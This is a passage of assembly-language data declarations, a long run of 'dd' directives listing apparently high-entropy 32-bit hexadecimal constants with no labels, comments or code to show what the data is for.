417CDCD8h, 0EB1C3077h, 0C76D0FB8h, 0C37EC73Ah dd 0F393FA51h, 0B2D60952h, 3416C335h, 133DDE4Dh, 0B4DC6E19h dd 6E5BC8B9h, 25A529Fh, 76BE28F5h, 3AEDC3h, 0AB786DC1h dd 0C3F5F110h, 17963A12h, 20E35AB5h, 5D538C39h, 6B70CD82h dd 132B0394h, 0C333D91Dh, 0A2A0A441h, 0A83113Ah, 228CE7E1h dd 46DE3978h, 1EF630CEh, 3A9F40Eh, 3D392C4Fh, 632CC91h dd 0ABDACF83h, 0ABD4BB31h, 3F3A90Dh, 7F5D0CB5h, 0B57BC2B5h dd 386531C5h, 0AC644362h, 3ADC46DCh, 0B46CCD9Bh, 6033A76Fh dd 9C39F61Dh, 6FB29218h, 0A23B894Ch, 34352E61h, 692870B1h dd 0E73D2B4Fh, 0BDA13118h, 2002DA4h, 41393357h, 43711705h dd 52030CC6h, 4F682EBDh, 0AF7431C7h, 2EAC93Bh, 31CE01CDh dd 4EE219Bh, 7E793B8Ch, 16AE791h, 41F70BE4h, 23D3D19h dd 2B172645h, 32B9EE81h, 69CEC02Bh, 7DDA1018h, 1D6B8F10h dd 23139B9h, 8ED9297Ch, 0C6DE2961h, 37C3B1F9h, 0CF53E1E1h dd 53ABC300h, 0CCF6892h, 7ABB050Eh, 0A63729D6h, 0B21CE7D0h dd 0C5DEAD53h, 21F098Ch, 3836BEBDh, 0C6310079h, 0A2F36617h dd 0D3DDCAF0h, 51AD391Dh, 0C233748Fh, 12E0677h, 792EDC19h dd 3AD08EBBh, 5BD4CA96h, 0A2FED880h, 0A23003F1h, 48DAF60Bh dd 38AA72BDh, 0AC0CCBB2h, 6F7672B5h, 597ED25Ah, 777E841h dd 55ACCFB5h, 0A6DA5A5Fh, 4ABB6145h, 703F137Fh, 6753A53Dh dd 2EADCD5Dh, 0C62A7E41h, 0EC22B1C3h, 0BF51ADA7h, 0AEF827BDh dd 7CAC3D2Ch, 0DCB30A0Ah, 0DD486204h, 3B66D016h, 0D0ADBCB9h dd 1FB2B9B5h, 2F1AFCAAh, 0AC540F25h, 0ED044FE7h, 0C34CF5Dh dd 0A6D5F20Ch, 0C0E41172h, 0C32C035h, 2620C310h, 0D426BE32h dd 0C22EC9BDh, 0DAF8FFEFh, 2E043998h, 933D3304h, 6402EFC4h dd 0A75B32CEh, 0E692C1Ah, 70DD2943h, 0A6D83CFAh, 41EE0534h dd 0B3A8812Ch, 288761Bh, 0EF86DD0Fh, 76B586B1h, 0AAF581AAh dd 74691FA8h, 0F671F8EDh, 6B00F54Ch, 2C4330CBh, 0C9E4E958h dd 5D7B5D7Dh, 7B3D0837h, 0A2FFD85Fh, 0A298E0FEh, 0EE4CCD48h dd 13E009B4h, 1F6E52Dh, 84F6CC33h, 6DC63D07h, 157FF365h dd 0A69ED328h, 2F9050E8h, 0EEF63517h, 2E6CA064h, 7855554Dh dd 0E3368BC6h, 939EABDh, 0E33D9D9h, 788CC226h, 0A2143D7Dh dd 359E3DDAh, 7832FB64h, 17339E22h, 11352E8Ah, 11D5A32Bh dd 92BB5F56h, 0D9B30EAh, 41E0FB5Dh, 0C2D5AF39h, 113AF384h dd 903A999Bh, 102D10B0h, 0AC6E348Bh, 0E32BBD5h, 305D0F99h dd 7D16351Dh, 0B1DBD2B4h, 2DC88AF7h, 10320F23h, 1DBF0129h dd 4AF17DBDh, 0DE3B0DF1h, 0C19D1112h, 71D948AAh, 7FD6B0BDh dd 0EE7CD6B4h, 0EA390316h, 0A57035F4h, 0CF22CC49h, 0AEC5906Bh dd 6B2D12BDh, 6CCD3992h, 0AEF63104h, 733D252h, 495D287Dh dd 0C21F7311h, 0A2FD35F9h, 0AAD7CC37h, 447EC78Bh, 1549318Bh dd 2A050CDh, 1A3AADC3h, 471DD575h, 6EAD760h, 7FDF4139h dd 0A22CCDDCh, 0AA9C6938h, 0AE018D4Dh, 58A40514h, 41E73DF2h dd 2281A840h, 0F933AE1Dh, 0ABF41440h, 0AAA85B59h, 5FCE451Ch dd 0BF6EBF45h, 3FA629D9h, 0A2FAD2E9h, 7A1E6801h, 5B65218h dd 0E3A6CF4Dh, 0EA9CCB5h, 0FE3314Bh, 0B2FD3509h, 0F4CD5D7Ah dd 32A94549h, 2CB63977h, 0C3731D3h, 5F1B31DAh, 3CEA6527h dd 0F269D25Bh, 282954B4h, 2732F722h, 0E7339AC4h, 163AE003h dd 0A332ECE4h, 4D630C45h, 0F032C849h, 7A32D4CDh, 7CE7D8E9h dd 842ABACDh, 0ACD69619h, 0A20362D3h, 0BB809FD7h, 3D63AB1h dd 256E0955h, 2153922h, 8EAEB517h, 0D3E33119h, 0D9E6652Ch dd 24590E7Bh, 67CE7F04h, 7D5202BDh, 31AD9630h, 0AAA2B58Ch dd 4E429D36h, 44390CA1h, 0B68E5B31h, 365A3575h, 1AEC4B4h dd 4EBB68CDh, 0B20D95E0h, 9A66D2DFh, 0FD530C9h, 0F65243DFh dd 5ED14B45h, 8B337D3Dh, 0AADE600Ch, 5BB85518h, 188D3F4Dh dd 0F8B82921h, 19DADE0h, 7ECF7C25h, 0F4858999h, 0A20D38B4h dd 39FAE9CEh, 0AAF7B0D9h, 3DC4306Dh, 60D96345h, 6F26B0A5h dd 0AA1B111Dh, 0AAA8911Dh, 0AAEF5F37h, 0AE3A291Ch, 0ABE8C21Ah dd 0ABDBF982h, 3AB4248Dh, 9F97E6E7h, 0A6F2D264h, 2ECF322h dd 0ABD7B3B5h, 0AC68CC5Dh, 0FC7664BCh, 0B62B3523h, 0D6193F0Fh dd 34E338F9h, 9CC7C5Fh, 1EEC3916h, 21C2FFC4h, 40D93C46h dd 7D483844h, 0F5FB0917h, 815BA2D5h, 971629DCh, 0B8F9E2B4h dd 3AC20D2Dh, 86285CDh, 5EA5D94Dh, 0E44CEBDh, 0B6EC7039h dd 27EB35F5h, 118852CCh, 0AC6CE661h, 0BA0D96F1h, 18E24AFAh dd 0B02986E4h, 44ED317Bh, 0F8CBC044h, 49DAA5BCh, 51ED15BDh dd 152EBACEh, 0DFD8F34Dh, 6BE939CBh, 0B6B92943h, 5C8BCE79h dd 0B178FDBDh, 0A2C0BFBDh, 7C292BDh, 0DF6786B5h, 62CBE841h dd 79AF3DF6h, 0B295695Ch, 0AAD753AFh, 10DFBB21h, 0C8BF742Ch dd 0ACF4094Ch, 0D0E31AC4h, 52503116h, 2FDDADBCh, 3292B7Ch dd 199F8B6Dh, 0C5CDA61Ah, 709A62B9h, 0A6FE8F7Dh, 3DCBFB7Dh dd 0F0ED90Dh, 0AC45EC11h, 0C0735F2h, 84203BFBh, 0B4D5355Eh dd 2D47EA45h, 4225EBF0h, 2D9D91B9h, 0AA2BEA76h, 0B1FA955Fh dd 7F7238CBh, 0CF55A6E9h, 0BAE57EBCh, 0B1752557h, 1CD6E9CFh dd 4D5671BDh, 0EDCD0B5h dd 0B5D531FCh, 8B32D80Dh, 0AA56ED71h, 0ABD64A63h, 0AA9BD823h dd 162AF411h, 72AED18h, 31BED297h, 0ABCCB4CAh, 7659DDEFh dd 1E3A8184h, 0ACF28351h, 0A7EDD4Dh, 0E4A98DB3h, 0C65E3C32h dd 16B9851Eh, 4E2C77A5h, 0CE2A059h, 5C2B9403h, 0AA1E2AA2h dd 7D319C10h, 1ED0315Ah, 7C9E195Fh, 3E3D29A4h, 0C060C2A5h dd 70CC3916h, 5C2D4AA5h, 571CF4B9h, 74FABEB5h, 0D616B81Dh dd 0CDAA54Dh, 9F1429FDh, 420FD258h, 0AB6BC4DDh, 41F1B1Ch dd 0EDF09B5h, 3C5C084Dh, 84E6E541h, 0FDE5AE7Dh, 132ACDD5h dd 0A2F1BBF1h, 4332F56Fh, 4732CA2Eh, 0BBB5353Dh, 41756555h dd 0EF7308Ah, 0F9312F75h, 0B4DE9B40h, 293D2EB9h, 0AED9CE46h dd 445AE35Eh, 6D417EBDh, 39C6C52Fh, 777FACB2h, 4ADFFD3Dh dd 24CD010Eh, 0D2F5F27h, 8F0CFB2Dh, 0D6999EB4h, 6ADB3DB5h dd 4AF15535h, 10F5FC0Ch, 0FAA0381Ch, 3515C7C1h, 0FF7A6D24h dd 86A35A1Dh, 4EAE83B9h, 0A2350F39h, 9CFEFB4h, 0AADA9D7Fh dd 90D13F24h, 5057A500h, 0A298273Ch, 1C3A8300h, 5976DA34h dd 0D4C67370h, 3C36CBC8h, 0D9568A8h, 0C3AE3970h, 0A62BC780h dd 0B2E2CF5Bh, 55355423h, 0F600D7BAh, 2EDC36BBh, 0C073292Ch dd 0A6A8633Eh, 5EF2EB3h, 0B6DCCAB3h, 0AC734Dh, 0C7A43843h dd 0A240196Ch, 0AA23B41Eh, 193BD204h, 0AA96798Ch, 0A04AE85Dh dd 0AEBF353Fh, 0BD3AF490h, 8D32D70Dh, 0EF339B6Fh, 0D9CA5E45h dd 2750BBE3h, 51DD1394h, 0C2B9E011h, 7AB31E8h, 0D8FFF004h dd 0AA341F06h, 10F9A922h, 0E632A54Bh, 0C133734Bh, 72BCC92h dd 0AAD9C2D3h, 13F21775h, 9DCB0B5h, 0CEC679EFh, 6737E9D9h dd 6889094Dh, 0FFC7105h, 0A29F7112h, 0AB591F77h, 0AB6CC921h dd 47FB6E49h, 581B7064h, 0A8DA4479h, 1FFFE9BDh, 84333950h dd 0EC327E5Fh, 0B852A2B9h, 90DEB3BDh, 0AE36EC65h, 0BCFB6CBDh dd 0C733778Fh, 0AE9EDEB9h, 0AA25C006h, 3F01147Ch, 0AA23D2E1h dd 0A2F6DB17h, 4859881Ah, 91D08459h, 831B317Ch, 0A9178619h dd 0DE3ADD31h, 0C20D800h, 0A2B9D12Bh, 0AA9BD2EBh, 0A63B8BEBh dd 0C7EADEBDh, 0B6B960ADh, 6592897Fh, 4B398EE0h, 94911610h dd 4690294Ch, 74FA48E7h, 0E32440Ch, 3A26449Dh, 6E9764Ch dd 202A3C6Fh, 0F7E3955Dh, 0AAD5BDB5h, 6E3B7E64h, 0E2EF356h dd 1E393A39h, 1436D762h, 0A77A26C7h, 6D61A478h, 0AAE3903Eh dd 6ED5DB1Bh, 2C86AD4Dh, 6FE6C0CCh, 9A9CEBE7h, 2EFE852Dh dd 0A2FA295Eh, 993AD75Bh, 10F7586h, 0D76FAB59h, 243A83AAh dd 0A20F854Dh, 0BBDA96D2h, 0DA5900FCh, 0AADD6C0Fh, 47133B03h dd 6AB3D5ADh, 0B4DFDE9h, 0FFC792E8h, 29A1CED6h, 0AAA9DDD1h dd 4DD71D56h, 244642B5h, 7E3D2963h, 0B67BD216h, 0E732EB01h dd 0E0D2409Bh, 0ED53B41Fh, 38E13103h, 0EB7C318Fh, 2DD670C9h dd 2F351CF9h, 0CBDE9745h, 43E42AB2h, 7336CFF0h, 3996C5BBh dd 5A10E06Fh, 1C7BD21Dh, 0E416CF01h, 0E9AED4B5h, 2716CECEh dd 0A2BD4B7Eh, 67D25B03h, 5E2B3079h, 0F82A192Eh, 37E4DDB5h dd 4E2A8F1Dh, 0FDDF31F9h, 9CACF6Ch, 0E9CF735Eh, 0E3D0E92Dh dd 8C7EC5CAh, 7CAC0E01h, 2ADDDC4Ch, 26CBD2BDh, 0A2DBD242h dd 5ECF13h, 9FB44000h, 0E2F85779h, 0FD9C2913h, 87337F37h dd 39B545Bh, 0EA6AD0B5h, 0B964C9B4h, 5D4F012h, 0EBA8E363h dd 62D1339h, 0B3931EAAh, 1483E81Fh, 2736BBA7h, 0ABACF1CFh dd 73D95000h, 0B42A8E75h, 6B912AD9h, 72F665DBh, 8A97DD5Eh dd 4738A4B5h, 7557B503h, 0ABEC0F57h, 0AA26A9C6h, 0AA8D5AC4h dd 25C84189h, 96D5315Fh, 462BF972h, 41E00387h, 3FCFD0E1h dd 0CB0F3572h, 28B95DB4h, 0D890F358h, 0DCF5315Ch, 2DC3CD39h dd 12DF1A02h, 0AF48714Dh, 0EEF9A035h, 6C0CA3FFh, 0EAFC6F5h dd 5D7F6A25h, 7BF6E1D4h, 446D0467h, 0D7FC0659h, 0D1FD982Ah dd 0FCCDDD4Dh, 0EB32C88Dh, 82329C80h, 0FD93D37h, 0F6DC0DBDh dd 58150009h, 0A5A3E01Dh, 0BD50C213h, 0A23858Ch, 0FC9E682Ah dd 0AC71E0F7h, 6450FE09h, 883DEA64h, 3ECB5B44h, 3280BC6Dh dd 0AC0E21F2h, 52E1FFE8h, 3D6FD862h, 0F94BD961h, 0BC53D91Fh dd 882C262h, 56A09CB5h, 8CB53118h, 0D3D3BB3Ah, 72AB2945h dd 25F22923h, 0E30F3150h, 272873B4h, 880B818Fh, 2CE8C23h dd 0CC26FA56h, 0AEEFD3B5h, 0B92A72EDh, 0ACD11DF9h, 959D1DBDh dd 0E3F27C73h, 0E8DEE5BDh, 0AEE3E4BBh, 4697C27Eh, 0DFC730C0h dd 75BD125Eh, 0AAE51F4Dh, 0A2DAEDD1h, 0A2A25841h, 179332E8h dd 265827B4h, 0F9E3645h, 4CE31C55h, 0F1B73FFEh, 0AB6B3DE9h dd 5A17E463h, 85EE1C59h, 5C93000h, 0BE3B390Eh, 0A79C292Ch dd 46333ACh, 0F21BD301h, 59E039CCh, 532975Fh, 0B23F5B04h dd 177A9419h, 0A2AD6CCDh, 408E2940h, 76FFF79Dh, 303A39D0h dd 42876357h, 5EDA3565h, 0D036B5E6h, 239000Eh, 8E6B484Dh dd 882F39D1h, 383D0DB5h, 0FCB7CAD6h, 0EB36A92Bh, 0A2BE4945h dd 25A5DBC6h, 569AE351h, 3A8662Dh, 0D869355Ah, 13D9B7D4h dd 2D4F357Ch, 0A52CE8BDh, 6AA5D8BDh, 0C4D52912h, 0F2E86B05h dd 433346A9h, 30EE838Bh, 0BF3AC9F6h, 0CF6C7FE3h, 2B6EBE16h dd 0A6110E31h, 433AB374h, 369D3100h, 0AEA47521h, 0AFA692C0h dd 0BEDFD14Ch, 3CE8903h, 0CF0C54B2h, 6ADF6820h, 1EE9A20Dh dd 0FD3AFB2Dh, 8DA2943h, 14CB724Ah, 16088681h, 8BD136A1h dd 7D99C971h, 8FCFD14Ch, 7F3A46B5h, 9F2C3B3h, 6625E9B9h dd 0A636CEA0h, 13F9C27Eh, 902B9F0Dh, 35692E6h, 490A8C4Ch dd 0AC78B601h, 90FA8218h, 0F11835C4h, 35A838EEh, 0A65A6DC9h dd 13032889h, 0AADB99D2h, 471CB20Fh, 9FB1C1B5h, 0D68FADE0h dd 0C32B9B1h, 0A9F5DD5Ah, 0A20ECBB9h, 13C8CD23h, 1ED4CC55h dd 0A21129C8h, 0AB77B9C1h, 4E3678F3h, 687797B5h, 570DC583h dd 0ABDBCA4Bh, 5AC0948Dh, 6EE2191Ch, 0A3EF91BDh, 24023FBDh dd 0A2D1BD1Bh, 0C98BB48Eh, 2FEFB74Dh, 0D21F9BDh, 6E3329DBh dd 0BA234C87h, 0A661E340h, 5E614245h, 0AAFE2EB1h, 0CC4569C5h dd 91564B4h, 0A22E2EB7h, 76FCD46Dh, 5C33BAF2h, 64C43189h dd 0C00A781Bh, 0C2F424Dh, 777FBBDh, 0E1CE31CFh, 0BEDCECE7h dd 816A3C49h, 0E2EF2960h, 6C2987B4h, 0C8A1302Fh, 34DAE494h dd 0DF2A9BB5h, 0A2D9AC7Bh, 0A2AC4869h, 0CFD5C148h, 41397D39h dd 1C9AF503h, 432930B9h, 0EED4B6D6h, 28F573B9h, 0F1365D02h dd 613A9AB4h, 741BE9C9h, 0A230A721h, 0AEDD4131h, 35F9D5EBh dd 0E7BE6DD5h, 0AADAECC3h, 0F50601F4h, 0E5759CB4h, 413669FDh dd 5CD4AB34h, 42B0C3B9h, 0ABF7B811h, 0AB68D42Dh, 0A2A0A807h dd 0D637FCh, 12B778Ch, 0D2B32951h, 0A6F08D15h, 8A005D98h dd 0FBC8440Ch, 0D8F52970h, 0A3D312BDh, 0B6D56EBBh, 7AFBAC0h dd 4020AEB5h, 0C3AAA539h, 0A2E4D776h, 8B07F556h, 141D311Ch dd 14E686CCh, 0C6110144h, 0A696F0DBh, 0F83FBF32h, 7EA9353Fh dd 0CA933944h, 82DCC558h, 40DDBFB5h, 944310Dh, 0EE030A4h dd 16D6ED58h, 0C34C018Bh, 2DFD29AAh, 0C7C329C3h, 0B6284C7Bh dd 7DC622E1h, 581E35DAh, 0EE33858h, 0AB1B057Ch, 7B0F2EB1h dd 64479F06h, 0D3660BB9h, 0CCDD39CFh, 1332CA05h, 1339DA1h dd 3F5CAA35h, 72CE31F3h, 0A20187DDh, 932C241h, 0E782D89Bh dd 9C9DCDB5h, 0CB76DDBDh, 0AF13D3Bh, 0EE614F40h, 5607504Ch dd 5F367146h, 0CD810BDEh, 94E93572h, 0F4A5291Ch, 0AEBC41CDh dd 1137C971h, 145B35C2h dd 93813D33h, 0A04BF1D9h, 2D3ACA75h, 0B3ADF18Ch, 5F869E03h dd 0A2E686B9h, 0CCE59C23h, 7D39023Bh, 0AC747E2Bh, 0BCBECB3Bh dd 43F044BDh, 0BD8E8D51h, 7ED93F35h, 439254F9h, 0EF19292Eh dd 0AE2385D1h, 66F0CB00h, 13EAB01Ah, 0DE3508BCh, 6EDD6885h dd 4833F4E5h, 0AB9639FEh, 72FBD894h, 933E160h, 13E6EABDh dd 5BE231D1h, 2A54C82Bh, 80CA2A19h, 5326AF1h, 7ED58615h dd 0EAE953B4h, 0EBCA6351h, 0F005036Ah, 0C7869C4Dh, 0E7B9626Ch dd 0B3DCFAC2h, 0EF0331Eh, 4BA9DEB9h, 6CD0E569h, 0F498D955h dd 0E5FB295Ch, 0A6BB2D15h, 39C33861h, 49E106B4h, 0AB912549h dd 1E0F6403h, 0A200F7ECh, 0FD77A80Bh, 0ABD7F229h, 0C14B569h dd 93110345h, 1E827187h, 12AE76BDh, 67D4398Ch, 0A21C80BDh dd 9FD5C4D1h, 4F77D218h, 0E7E331C0h, 4107315Bh, 0A63E4653h dd 0FD046813h, 9668DD9Bh, 0A62221D1h, 62F492D6h, 33E4394Ch dd 0FE2A9210h, 0A2254C1Eh, 0B94D3298h, 44D9CDB5h, 86EBD4Dh dd 0B933CBB5h, 36B7C765h, 815CC984h, 0EADE519Dh, 4FF6D556h dd 0D746C35Ch, 0BA7CDD06h, 4CF6C9B9h, 6698D43Fh, 72FE0ECAh dd 7EE33E67h, 1533B84h, 5DF51144h, 16D00DBDh, 5536F0E6h dd 9C04181Fh, 650D1385h, 6AED0552h, 0BA3D306Fh, 5322EC78h dd 6EF7136Dh, 6A391DB4h, 0F8E7D201h, 0FFF604C2h, 3BA51426h dd 1EBBE54Fh, 532374A2h, 4415296Ch, 93E8FDC3h, 0A3DD1DB7h dd 68EF7524h, 6AF1BB3Eh, 5BE83751h, 6F853117h, 0E21312BDh dd 0A3122979h, 83FB7A55h, 85421361h, 9F3D2313h, 9C45589Dh dd 17A100Ah, 1A34AEECh, 5E723712h, 0B2F55883h, 0A6179053h dd 4D43214Ah, 5A41CDE5h, 2644D955h, 0A3CAF9Ah, 0B2349449h dd 0A43B4BBDh, 1744B451h, 0E00935F6h, 0F3822F5h, 12FAE7FBh dd 7922E0C6h, 0B6EBE88Bh, 0BF77170h, 0A61D610Eh, 0A4CBA1B5h dd 21E96C7h, 4DAD2346h, 37D1224Fh, 0B1154802h, 3E3D5C6Ah dd 90BE11E2h, 9A5A7A11h, 9D0B7E9Dh, 724B2F93h, 9472339Dh dd 0A97B9F2Ah, 0CDA1445h, 52F9C7DAh, 822ACB6Dh, 9BCE124Eh dd 0DE5D622Dh, 0AB352B3Eh, 1E3428BEh, 0DDC28F98h, 6AE7FA0Dh dd 6F590922h, 96B82EC6h, 6A02E938h, 0CA98528Eh, 7199E2BEh dd 431F073h, 9A43B25Dh, 99F1FDB9h, 6F7EA28Fh, 0DD82AC4Bh dd 0DB57A601h, 0D7A6267Ch, 695095DAh, 0D139EDAEh, 187A3312h dd 66394Bh, 0FE4EFAA7h, 6D41CF76h, 36C69CB1h, 12420802h dd 0A2832ACEh, 6F0251F2h, 6D085500h, 25E10F4Dh, 4D13D5A2h dd 5E2E0050h, 7DE9201Dh, 0F804283Eh, 0EA06A063h, 5377F9A4h dd 0A40F8851h, 0B92F14CBh, 5863965h, 5A9F5630h, 0C60B4B99h dd 5A2D7165h, 0AA63AA99h, 0A60C40CFh, 6D3DE010h, 47121777h dd 0CF00F473h, 0EEA9A825h, 1B0F214Eh, 3802AE9Ah, 1AF13D45h dd 1C052AACh, 2ED6D012h, 4E82A6BBh, 1E354252h, 1B412CCCh dd 0AB031784h, 0F9420D1Dh, 9B81215Ch, 0C1C96A37h, 0DAEB02CFh dd 64EB319Ah, 0CC3120Ch, 4EC521A4h, 9560B9BBh, 4274A700h dd 0F9AA9E15h, 2F2362E5h, 8007CD1Ch, 832750B3h, 0F3B41D20h dd 7B021634h, 4A88C9Bh, 0E26356ADh, 0C18B4FBAh, 286D5103h dd 0E925DDDBh, 0C0EA69F7h, 9E51CA4Ch, 59D861CEh, 0E09AB098h dd 3736C74Bh, 0AAD2DA89h, 6E3318FEh, 348747A0h, 5AACAE0Bh dd 99F28B0Dh, 51C066A8h, 0E7840520h, 0C28C07CAh, 7AE14FB3h dd 31E43B17h, 8DC6E8AFh, 0FFD3614Ah, 9B28BF89h, 1756A31h dd 2681CCF7h, 40A752F3h, 0D97BA895h, 4DAAE7A2h, 0B8DA15CAh dd 0B6A4C75Bh, 0C41E61CCh, 3867310Ch, 0E8BB53B9h, 0F3D609FBh dd 0CAE2346Fh, 0B4DE347Fh, 0AD662F10h, 4E008B18h, 1F3266A2h dd 0C3E0DA4Eh, 0A0B28086h, 796A07C0h, 0E6AA9C7Bh, 24673D25h dd 0F67876FCh, 7891CFA3h, 8F488C85h, 8E1D2417h, 98C6096Bh dd 0C77DD09Dh, 86120550h, 1BFC6905h, 0DDF82341h, 11C813E5h dd 7CD3F8A5h, 0F94A5A1Eh, 0E45620A9h, 0F3485F9Ah, 0C18D6EA8h dd 0F4AA329Bh, 884D3547h, 0B874331Dh, 0FC66428Dh, 0A70D5C95h dd 92D17CFEh, 964D8EA8h, 0FAAA4597h, 0B7585753h, 95986FDAh dd 31558EF4h, 2350D569h, 8A115A41h, 0C64F49AEh, 92C6D99Bh dd 7F48CEADh, 7270869Ch, 0E1FD5A25h, 0E1D5D46h, 6DD437Eh dd 308B636h, 29302458h, 8DA04E5h, 12482B8Eh, 4C45DAF8h dd 0ADF215A2h, 89311501h, 7DC131FAh, 835C9B04h, 0C5CDECFAh dd 5317DE6Bh, 0ACADE74Fh, 0A3D1F5F6h, 0FEB47B02h, 99F9E14Eh dd 0F38F7949h, 40C21D56h, 60D31E66h, 93A5F110h, 0A5F06753h dd 0BE8E6835h, 998232E1h, 200A16Bh, 0D952CDC1h, 750AF48Ch dd 0C379EA66h, 8CD1B7CDh, 5180221Ch, 48CE9E5Bh, 97FC037h dd 0C5AB0C6Bh, 8088E131h, 5122FD1Ah, 42873186h, 0AA7EBB5Dh dd 0B6B4155Ch, 0A6EFF592h, 39ACB4Ch, 5205568Fh, 49C0640Ah dd 8CBE4711h, 7FB81909h, 3D28A401h, 0ED9EF908h, 85406D63h dd 3BD11DC8h, 0EAE6BE04h, 721B4B76h, 6CCF8B10h, 0A75EE2Ch dd 0C871F010h, 4317FD42h, 0BD5E1714h, 9A7464E5h, 80A0651Eh dd 0F6AFE026h, 304D4A02h, 8ED4849h, 6324185Fh, 30EFF140h dd 0C706B60Eh, 565D3D71h, 232D7E9Ah, 7605FCFAh, 19FDFF58h dd 45E7FDEh, 93A93FAEh, 24F814A8h, 740D0A81h, 49601D8h dd 4557C1D3h, 0E0A116DCh, 0D55052Ah, 91ECEE9Ah, 65C25B2Fh dd 473DB306h, 80D8A623h, 72158D0Dh, 356CF266h, 0B84B9E2Dh dd 0C7F56CD3h, 0D89C6AC9h, 0D62B68B8h, 16DE8A7Ah, 0FCDB04F8h dd 0C92E5405h, 606993EBh, 3C9534D4h, 0BD6799C5h, 0F6D7919Ch dd 0FD9896A1h, 72054DFDh, 8D039663h, 43EEB6C2h, 0CCF1E678h dd 5EA16760h, 3413B1D4h, 69D1C46Dh, 7A13C7Ch, 0A23700E7h dd 70AE1552h, 0CD454A06h, 770EE3A8h, 48AEE80Ch, 0C6C6577Dh dd 8DEEBC37h, 0DC9C058Bh, 47E0DC52h, 48FB39D1h, 274517DAh dd 0FB060C1Ch, 0FAC967h, 0C82C3FCFh, 76B30668h, 0C67B3F1Fh dd 5FF5255Bh, 27DCD68Fh, 8FFB4E1h, 5E422D46h, 0C61B171Eh dd 84F85715h, 1CED851Dh, 6407BF0Fh, 6D76D7D7h, 44F8582Dh dd 4BDEAC28h, 0B92D1D03h, 0B4E84C58h, 9756197Dh, 745FF246h dd 0F1021E82h, 4F3208DAh, 0A031FFE6h, 5D209494h, 7FC8785Dh dd 0CA640A7h, 942431EFh, 37DED579h, 9FD359Dh, 0F00A399h dd 0AD09F82Bh, 341A9B45h, 0F842B844h, 8DD5EE34h, 0C9ACE916h dd 3520E36Ch, 99468C1h, 0C65E51AEh, 0D5FB22D2h, 0C89C2351h dd 5CD7B733h, 39148300h, 0D80E5775h, 5CEDABC1h, 6CB265D4h dd 0A6052363h, 9B3419ADh, 0BA3E290Fh, 0A5C52495h, 438027B9h dd 0B2FDA407h, 7C8C6930h, 68301EE0h, 0CC2AC0BEh, 68420162h dd 69EDFD60h, 0FA61EA73h, 81FD7777h, 4BC3F464h, 4AA71157h dd 0CEF4C779h, 0C539F3BFh, 2394AE00h, 0CBD850BCh, 0B6AC810h dd 48100722h, 6B12C054h, 7210E978h, 0CE704255h, 0F8145752h dd 0BAEEF44Fh, 0D9127453h, 22BAF34Fh, 553DCD12h, 0A644354Dh dd 0A4F031A1h, 0A16EB54Bh, 5A369525h, 5AAAED24h, 0C2FCEA6Bh dd 0D7558A60h, 61C358B8h, 64035DBCh, 3E4CE1A3h, 61D02349h dd 19C4FAA3h, 61B96163h, 65F8E87Dh, 69F48FC5h, 6CF3F6A5h dd 70EFFD72h, 73ED210Eh, 7DE0C00Bh, 42CC01h, 4DBC91Eh dd 0CFD7D51Ah, 96D3D921h, 10CE2135h, 14CBD92Eh, 0D044BE55h dd 0CB140A83h, 2BFF27Dh, 9C56A01Fh, 835CA8DEh, 51443198h dd 0AC3A361Dh, 91B6C28Fh dd 6006A84Ch, 0AEA30EBDh, 23EDCA4h, 0E419711Ah, 0AFF14390h dd 520560B9h, 4AB2BEABh, 0B67D74ABh, 0AB7D7A54h, 9E45B8A9h dd 7081A8F5h, 7D5DDF3Ah, 0AAC298FEh, 4BE48D92h, 9CF26152h dd 993F2F72h, 38B8350Fh, 407E7DFDh, 0FB5C412Eh, 0BE5D1D05h dd 835A4B14h, 16EAB5A5h, 9F06E222h, 42D2A011h, 4C1C317Ch dd 72553702h, 0BE43802Fh, 6A2E6D22h, 0E981A5C9h, 4D54CDF3h dd 0E020A81Fh, 2C1D9979h, 944064D5h, 0CA501786h, 8500379Ah dd 0AAC4E287h, 734AB601h, 7A1C6204h, 250016E6h, 247C0446h dd 92C05ABEh, 9BCA6E24h, 544B8AC5h, 9EC5DD4Ch, 93582847h dd 74A45BC7h, 0D93F6428h, 90C6A573h, 64C93027h, 97016CB9h dd 6AA3D4A4h, 0D051CB9h, 8EACE49h, 0AE29B747h, 9EFF374Ah dd 0BED659CBh, 19FF255Dh, 9FF11269h, 655B4B39h, 0BAE8514Dh dd 0FD244A95h, 4F65E86Dh, 4C572B29h, 9635BCA6h, 0F6281D9h dd 1A7561BEh, 867C23B8h, 0BEC91A91h, 0D663DC3Ch, 86DCE17Dh dd 0ACF9C2B9h, 7C843149h, 29BB4971h, 0DCE3C288h, 995EAFBDh dd 428121F9h, 486A5371h, 22E749A9h, 1633C4D1h, 69A25669h dd 4821C663h, 0C6AB6122h, 5A8D8F21h, 6EBA63FBh, 0F413B41h dd 7511ED82h, 59FD0EF9h, 4CE6A84Ch, 7EE8BDE2h, 1F1504D3h dd 1535D93Ch, 0A2DAA3E9h, 79B42A9Ch, 163E1D83h, 56DD2925h dd 903C1006h, 0A859FF05h, 5E745633h, 98AA5113h, 7137223Bh dd 895A4EA6h, 9A6223DFh, 0D33CE26Dh, 9F43855Ah, 0B3A52379h dd 3B3B6955h, 5D0C2234h, 85C12EA2h, 0A20DB6BFh, 21D7C23Ah dd 10E71640h, 96D8A084h, 0E34473DCh, 0B578E788h, 0E9C3D5Fh dd 4DCC8F15h, 41C4E4A0h, 47AC3DC1h, 0AC34F79Eh, 5D18480Bh dd 0AB7DEBB5h, 80B714AFh, 0B508CA12h, 0ADABFF0h, 9D3839A0h dd 2BFD31B5h, 0EA28A7BCh, 0A6EF2D4Fh, 3A410C0Ah, 0DAFCC819h dd 9A3FEF5Dh, 24BAC5A1h, 0AC7A059Ah, 95A8641h, 62350BA4h dd 1EE02305h, 6A232CFDh, 0FFC3492Fh, 62BC58BCh, 0A0FB11A1h dd 4C429DFBh, 0E747F941h, 6342CD60h, 0C967D1D5h, 0A4AF1511h dd 0A7E4C1F3h, 0B3D24F49h, 0FDC6F124h, 66401DE1h, 2353BF25h dd 0B174F45Bh, 9AD88CB4h, 0CD496D4h, 446F3591h, 5CF31CA0h dd 8A361D05h, 0A288F1D8h, 2A4EE9DDh, 5B62C151h, 69FFF5A1h dd 447B2D0Eh, 534A61C3h, 0E1728DA2h, 42F00855h, 0AA423D4Dh dd 9E7912F1h, 5E1EACFDh, 696D3EBCh, 0A13B6899h, 0DED29514h dd 46AF915Dh, 3BAA0801h, 0E8BBC45h, 0AA8C8AD3h, 0C17A8C7Eh dd 0BD258DACh, 17984DD8h, 7ABAD2A1h, 2A3B690Dh, 0C2937EDEh dd 43DD1E2Dh, 6B5E7EA4h, 